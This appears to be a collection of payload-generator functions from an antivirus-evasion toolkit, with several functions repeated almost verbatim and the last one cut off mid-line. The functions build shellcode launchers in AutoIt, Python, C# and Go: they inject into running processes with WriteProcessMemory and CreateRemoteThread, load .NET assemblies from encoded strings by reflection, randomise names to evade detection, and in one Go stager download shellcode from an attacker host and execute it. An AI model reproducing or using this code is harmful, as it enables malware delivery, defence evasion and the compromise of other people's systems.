def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = '' # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # get it in AutoITs format Shellcode = "0x" + "".join(Shellcode.split("\\x")) total_size = len(Shellcode) RandFuncName = evasion_helpers.randomString() RandArgName = evasion_helpers.randomString() RandASMVarName = evasion_helpers.randomString() RandASMBufferName = evasion_helpers.randomString() RandBinBufferName = evasion_helpers.randomString() length_limit = 4000 # keep that pesky tray icon from appearing payload_code = "#NoTrayIcon\n" payload_code += RandFuncName + '(fileread("%WinDir%\\system32\\calc.exe"))\n' payload_code += 'Func ' + RandFuncName + '($' + RandArgName + ')\n' if total_size > length_limit: all_lines = [ Shellcode[i:i + length_limit] for i in range(0, len(Shellcode), length_limit) ] first_run = True for line in all_lines: if first_run: payload_code += '\tLocal $' + RandASMVarName + '="' + line + '"\n' first_run = False else: payload_code += '\t$' + RandASMVarName + ' = $' + RandASMVarName + ' & "' + line + '"\n' else: payload_code += '\tLocal $' + RandASMVarName + '="' + Shellcode + '"\n' payload_code += '\tLocal $' + RandASMBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandASMVarName + ') & "]")\n' payload_code += '\tLocal $' + RandBinBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandArgName + ') & "]")\n' payload_code += '\tDllStructSetData($' + RandASMBufferName + ', 1, $' + RandASMVarName + ')\n' payload_code += '\tDllStructSetData($' + RandBinBufferName + ', 1, $' + RandArgName + ')\n' payload_code += '\tLocal $Ret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", DllStructGetPtr($' + RandASMBufferName + '), "ptr", DllStructGetPtr($' + RandBinBufferName + '), "int", 0, "int", 0, "int", 0)\n' payload_code += "EndFunc\n" self.payload_source_code = payload_code return
def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # get it in AutoITs format Shellcode = "0x" + ''.join(Shellcode.split("\\x")) total_size = len(Shellcode) RandFuncName = evasion_helpers.randomString() RandArgName = evasion_helpers.randomString() RandASMVarName = evasion_helpers.randomString() RandASMBufferName = evasion_helpers.randomString() RandBinBufferName = evasion_helpers.randomString() length_limit = 4000 # keep that pesky tray icon from appearing payload_code = "#NoTrayIcon\n" payload_code += RandFuncName + '(fileread("%WinDir%\\system32\\calc.exe"))\n' payload_code += 'Func ' + RandFuncName + '($' + RandArgName + ')\n' if total_size > length_limit: all_lines = [Shellcode[i:i+length_limit] for i in range(0, len(Shellcode), length_limit)] first_run = True for line in all_lines: if first_run: payload_code += '\tLocal $' + RandASMVarName + '="' + line + '"\n' first_run = False else: payload_code += '\t$' + RandASMVarName + ' = $' + RandASMVarName + ' & "' + line + '"\n' else: payload_code += '\tLocal $' + RandASMVarName + '="' + Shellcode + '"\n' payload_code += '\tLocal $' + RandASMBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandASMVarName + ') & "]")\n' payload_code += '\tLocal $' + RandBinBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandArgName + ') & "]")\n' payload_code += '\tDllStructSetData($' + RandASMBufferName + ', 1, $' + RandASMVarName + ')\n' payload_code += '\tDllStructSetData($' + RandBinBufferName + ', 1, $' + RandArgName + ')\n' payload_code += '\tLocal $Ret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", DllStructGetPtr($' + RandASMBufferName + '), "ptr", DllStructGetPtr($' + RandBinBufferName + '), "int", 0, "int", 0, "int", 0)\n' payload_code += "EndFunc\n" self.payload_source_code = payload_code return
def generate(self): payload_code, num_tabs_required = gamemaker.senecas_games(self) # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # Generate Random Variable Names ShellcodeVariableName = evasion_helpers.randomString() pid_num_variable = evasion_helpers.randomString() pagerwx_variable = evasion_helpers.randomString() processall_variable = evasion_helpers.randomString() memcommit_variable = evasion_helpers.randomString() shell_length_variable = evasion_helpers.randomString() memalloc_variable = evasion_helpers.randomString() prochandle_variable = evasion_helpers.randomString() kernel32_variable = evasion_helpers.randomString() # Create Payload code payload_code += '\t' * num_tabs_required + 'from ctypes import *\n' payload_code += '\t' * num_tabs_required + pagerwx_variable + ' = 0x40\n' payload_code += '\t' * num_tabs_required + processall_variable + ' = 0x1F0FFF\n' payload_code += '\t' * num_tabs_required + memcommit_variable + ' = 0x00001000\n' payload_code += '\t' * num_tabs_required + kernel32_variable + ' = windll.kernel32\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = b\'' + Shellcode + '\'\n' payload_code += '\t' * num_tabs_required + pid_num_variable + ' = ' + self.required_options[ "PID_NUMBER"][0] + '\n' payload_code += '\t' * num_tabs_required + shell_length_variable + ' = len(' + ShellcodeVariableName + ')\n' payload_code += '\t' * num_tabs_required + prochandle_variable + ' = ' + kernel32_variable + '.OpenProcess(' + processall_variable + ', False, ' + pid_num_variable + ')\n' payload_code += '\t' * num_tabs_required + memalloc_variable + ' = ' + kernel32_variable + '.VirtualAllocEx(' + prochandle_variable + ', 0, ' + shell_length_variable + ', ' + memcommit_variable + ', ' + pagerwx_variable + ')\n' payload_code += '\t' * num_tabs_required + kernel32_variable + '.WriteProcessMemory(' + prochandle_variable + ', ' + memalloc_variable + ', ' + ShellcodeVariableName + ', ' + shell_length_variable + ', 0)\n' payload_code += '\t' * num_tabs_required + kernel32_variable + '.CreateRemoteThread(' + prochandle_variable + ', None, 0, ' + memalloc_variable + ', 0, 0, 0)\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): payload_code, num_tabs_required = gamemaker.senecas_games(self) # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # Generate Random Variable Names ShellcodeVariableName = evasion_helpers.randomString() pid_num_variable = evasion_helpers.randomString() pagerwx_variable = evasion_helpers.randomString() processall_variable = evasion_helpers.randomString() memcommit_variable = evasion_helpers.randomString() shell_length_variable = evasion_helpers.randomString() memalloc_variable = evasion_helpers.randomString() prochandle_variable = evasion_helpers.randomString() kernel32_variable = evasion_helpers.randomString() # Create Payload code payload_code += '\t' * num_tabs_required + 'from ctypes import *\n' payload_code += '\t' * num_tabs_required + pagerwx_variable + ' = 0x40\n' payload_code += '\t' * num_tabs_required + processall_variable + ' = 0x1F0FFF\n' payload_code += '\t' * num_tabs_required + memcommit_variable + ' = 0x00001000\n' payload_code += '\t' * num_tabs_required + kernel32_variable + ' = windll.kernel32\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = b\'' + Shellcode + '\'\n' payload_code += '\t' * num_tabs_required + pid_num_variable + ' = ' + self.required_options["PID_NUMBER"][0] +'\n' payload_code += '\t' * num_tabs_required + shell_length_variable + ' = len(' + ShellcodeVariableName + ')\n' payload_code += '\t' * num_tabs_required + prochandle_variable + ' = ' + kernel32_variable + '.OpenProcess(' + processall_variable + ', False, ' + pid_num_variable + ')\n' payload_code += '\t' * num_tabs_required + memalloc_variable + ' = ' + kernel32_variable + '.VirtualAllocEx(' + prochandle_variable + ', 0, ' + shell_length_variable + ', ' + memcommit_variable + ', ' + pagerwx_variable + ')\n' payload_code += '\t' * num_tabs_required + kernel32_variable + '.WriteProcessMemory(' + prochandle_variable + ', ' + memalloc_variable + ', ' + ShellcodeVariableName + ', ' + shell_length_variable + ', 0)\n' payload_code += '\t' * num_tabs_required + kernel32_variable + '.CreateRemoteThread(' + prochandle_variable + ', None, 0, ' + memalloc_variable + ', 0, 0, 0)\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = '' # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = Shellcode.encode('latin-1') Shellcode = Shellcode.decode('unicode_escape') # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') # Generate Random Variable Names ShellcodeVariableName = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_ht = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() rand_virtual_protect = evasion_helpers.randomString() num_tabs_required = 0 payload_code = '' payload_code, num_tabs_required = gamemaker.senecas_games(self) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(\"' + EncodedShellcode + '\")\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' elif self.required_options["INJECT_METHOD"][0].lower() == "heap": HeapVar = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(\"' + EncodedShellcode + '\")\n' payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def buildAryaLauncher(raw): """ Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt a string rep of the bytes, and then use reflection to invoke the original .exe """ # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random())) base64payload = b64sub(raw, key) payload_code = "using System; using System.Collections.Generic; using System.Text;" payload_code += "using System.IO; using System.Reflection; using System.Linq;\n" decodeFuncName = evasion_helpers.randomString() baseStringName = evasion_helpers.randomString() targetStringName = evasion_helpers.randomString() dictionaryName = evasion_helpers.randomString() # build out the letter sub decrypt function payload_code += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString(), decodeFuncName) payload_code += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" % (baseStringName) payload_code += "string %s = \"\"; Dictionary<char, char> %s = new Dictionary<char, char>();\n" % (targetStringName, dictionaryName) payload_code += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" % (baseStringName, dictionaryName,baseStringName) payload_code += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" % (targetStringName, dictionaryName) payload_code += "else { %s += t[i]; }} return %s; }\n" % (targetStringName, targetStringName) base64PayloadName = evasion_helpers.randomString() assemblyName = evasion_helpers.randomString() # build out Main() assemblyName = evasion_helpers.randomString() methodInfoName = evasion_helpers.randomString() keyName = evasion_helpers.randomString() payload_code += "static void Main() {\n" payload_code += "string %s = \"%s\";\n" % (base64PayloadName, base64payload) payload_code += "string %s = \"%s\";\n" % (keyName, key) # load up the assembly of the decoded binary payload_code += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" % (assemblyName, decodeFuncName, base64PayloadName, keyName) payload_code += "MethodInfo %s = %s.EntryPoint;\n" % (methodInfoName, assemblyName) # use reflection to jump to its entry point payload_code += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" % (methodInfoName, assemblyName, methodInfoName) payload_code += "}}}\n" return payload_code
def buildAryaLauncher(raw): """ Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt a string rep of the bytes, and then use reflection to invoke the original .exe """ # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random())) base64payload = b64sub(raw, key) payload_code = "using System; using System.Collections.Generic; using System.Text;" payload_code += "using System.IO; using System.Reflection; using System.Linq;\n" decodeFuncName = evasion_helpers.randomString() baseStringName = evasion_helpers.randomString() targetStringName = evasion_helpers.randomString() dictionaryName = evasion_helpers.randomString() # build out the letter sub decrypt function payload_code += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString(), decodeFuncName) payload_code += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" % (baseStringName) payload_code += "string %s = \"\"; Dictionary<char, char> %s = new Dictionary<char, char>();\n" % (targetStringName, dictionaryName) payload_code += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" % (baseStringName, dictionaryName,baseStringName) payload_code += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" % (targetStringName, dictionaryName) payload_code += "else { %s += t[i]; }} return %s; }\n" % (targetStringName, targetStringName) base64PayloadName = evasion_helpers.randomString() assemblyName = evasion_helpers.randomString() # build out Main() assemblyName = evasion_helpers.randomString() methodInfoName = evasion_helpers.randomString() keyName = evasion_helpers.randomString() payload_code += "static void Main() {\n" payload_code += "string %s = \"%s\";\n" % (base64PayloadName, base64payload) payload_code += "string %s = \"%s\";\n" % (keyName, key) # load up the assembly of the decoded binary payload_code += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" % (assemblyName, decodeFuncName, base64PayloadName, keyName) payload_code += "MethodInfo %s = %s.EntryPoint;\n" % (methodInfoName, assemblyName) # use reflection to jump to its entry point payload_code += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" % (methodInfoName, assemblyName, methodInfoName) payload_code += "}}}\n" return payload_code
def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = Shellcode.encode('latin-1') Shellcode = Shellcode.decode('unicode_escape') # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') # Generate Random Variable Names ShellcodeVariableName = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_ht = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() rand_virtual_protect = evasion_helpers.randomString() num_tabs_required = 0 payload_code = "" payload_code, num_tabs_required = gamemaker.senecas_games(self) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' elif self.required_options["INJECT_METHOD"][0].lower() == "heap": HeapVar = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n' payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() base64Url = evasion_helpers.randomString() size = evasion_helpers.randomString() err = evasion_helpers.randomString() randBase = evasion_helpers.randomString() length = evasion_helpers.randomString() foo = evasion_helpers.randomString() random = evasion_helpers.randomString() outp = evasion_helpers.randomString() i = evasion_helpers.randomString() randTextBase64URL = evasion_helpers.randomString() getURI = evasion_helpers.randomString() sumVar = evasion_helpers.randomString() checksum8 = evasion_helpers.randomString() uri = evasion_helpers.randomString() value = evasion_helpers.randomString() hostAndPort = evasion_helpers.randomString() port = self.required_options["LPORT"][0] host = self.required_options["LHOST"][0] response = evasion_helpers.randomString() uriLength = randint(5, 255) payload = evasion_helpers.randomString() bufferVar = evasion_helpers.randomString() x = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() allocvarout = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() errorvariabledos = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["MINPROCS"][0].lower() != "x": payload_code += "\"os\"\n" if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" payload_code += ")\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x40\n)\n" % (pageExecRW) payload_code += "var (\n" payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout) payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) payload_code += "var %s []byte\n" % (outp) payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) payload_code += "return string(%s)\n}\n" % (outp) payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) payload_code += "%s := []byte(%s)\n" % (foo, base64Url) payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks payload_code += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port) payload_code += "%s, _ := http.Get(%s + %s(92, %s))\n" % (response, hostAndPort, getURI, uriLength) payload_code += "defer %s.Body.Close()\n" % (response) payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) payload_code += "for %s, %s := range %s {\n" % (x, value, payload) payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout) payload_code += '}' * num_curlys self.payload_source_code = payload_code return
def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = '' # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) # randomize all our variable names, yo' namespaceName = evasion_helpers.randomString() className = evasion_helpers.randomString() bytearrayName = evasion_helpers.randomString() funcAddrName = evasion_helpers.randomString() hThreadName = evasion_helpers.randomString() threadIdName = evasion_helpers.randomString() pinfoName = evasion_helpers.randomString() rand_bool = evasion_helpers.randomString() random_out = evasion_helpers.randomString() num_tabs_required = 0 # get 12 random variables for the API imports r = [evasion_helpers.randomString() for x in range(16)] y = [evasion_helpers.randomString() for x in range(17)] #required syntax at the beginning of any/all payloads payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (namespaceName, className) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % ( r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9], r[10], r[11], r[12], r[13], r[14], r[15]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % ( y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9], y[10], y[11], y[12], y[13], y[14], y[15], y[16]) payload_code += "static void Main() {\n" payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code 